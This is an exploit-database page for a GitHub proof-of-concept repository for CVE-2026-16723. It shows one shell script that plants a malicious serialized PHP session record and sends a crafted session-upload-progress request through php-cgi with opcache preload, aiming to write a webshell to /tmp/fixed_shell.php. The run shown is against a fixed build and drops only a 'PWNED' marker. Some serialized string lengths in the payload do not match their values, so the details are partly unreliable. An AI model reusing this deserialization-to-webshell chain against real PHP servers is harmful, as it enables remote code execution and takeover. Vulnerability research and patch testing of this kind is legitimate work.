Exploit database

GH-75f23d292ccf5b46630574f41cfd154a

ethen1212/fastjson-cve-2026-16723

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-16723

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files21
ethen1212/fastjson-cve-2026-16723Revision f0861f3adba2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

env/runfixed.sh

Shell · 2,734 bytes
#!/bin/bash
# Run the FIXED build (8.4.28-dev, with opcache) against the preload gadget payload,
# directly via a stdin pipe, bypassing the Python driver's subprocess quirk.
set -u
cd /root/work/php2shell/env
B="---------------------------20896060251896012921717172737"
SID="php2shellpreload"
rm -f run_preload/sess_$SID /tmp/fixed_shell.php

# attacker-controlled session record referencing the preloaded FileCache class
cat > run_preload/sess_$SID <<'REC'
x|O:9:"FileCache":2:{s:4:"path";s:18:"/tmp/fixed_shell.php";s:7:"content";s:65:"<?php echo PWNED; ?>";}
REC

# build multipart body into a temp file to avoid shell-quoting nightmares
{
  printf -- "--%s\r\n" "$B"
  printf -- 'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n%s\r\n' "$SID"
  printf -- "--%s\r\n" "$B"
  printf -- 'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nkey\r\n'
  printf -- "--%s\r\n" "$B"
  printf -- 'Content-Disposition: form-data; name="f"; filename="f.txt"\r\n'
  printf -- 'Content-Type: text/plain\r\n\r\n'
  printf -- 'data\r\n'
  printf -- "--%s--\r\n" "$B"
} > /tmp/body.txt

export REDIRECT_STATUS=1 REQUEST_METHOD=POST
export CONTENT_TYPE="multipart/form-data; boundary=$B"
export CONTENT_LENGTH=$(stat -c%s /tmp/body.txt)
export SCRIPT_FILENAME=/root/work/php2shell/env/worker_cb.php
export PATH_TRANSLATED=/root/work/php2shell/env/worker_cb.php
export QUERY_STRING=""

/root/work/php2shell/php-src/sapi/cgi/php-cgi \
  -d display_errors=1 -d html_errors=0 -d error_reporting="E_ALL&~E_DEPRECATED" \
  -d file_uploads=1 -d upload_max_filesize=1024 \
  -d session.save_path=/root/work/php2shell/env/run_preload \
  -d session.name=PHPSESSID -d session.use_strict_mode=0 \
  -d session.use_cookies=0 -d session.use_only_cookies=0 \
  -d session.cache_limiter= -d session.save_handler=files \
  -d session.serialize_handler=php \
  -d session.upload_progress.enabled=1 -d session.upload_progress.cleanup=0 \
  -d session.upload_progress.prefix=upload_progress_ \
  -d session.upload_progress.name=PHP_SESSION_UPLOAD_PROGRESS \
  -d session.upload_progress.freq=1% -d session.upload_progress.min_freq=0.000000001 \
  -d zend_extension=/root/work/php2shell/php-src/modules/opcache.so \
  -d opcache.enable=1 -d opcache.preload=/root/work/php2shell/env/preload.php \
  -d opcache.preload_user=root \
  -f /root/work/php2shell/env/worker_cb.php \
  < /tmp/body.txt > /tmp/fixed_direct.txt 2>/tmp/fixed_direct.err

echo "=== exit: $? ==="
echo "=== stdout ==="; cat /tmp/fixed_direct.txt
echo "=== stderr (first 15 lines) ==="; head -15 /tmp/fixed_direct.err
echo "=== webshell at /tmp/fixed_shell.php? ==="
ls -la /tmp/fixed_shell.php 2>/dev/null || echo "NO WEBSHELL -- fixed build did not execute the gadget"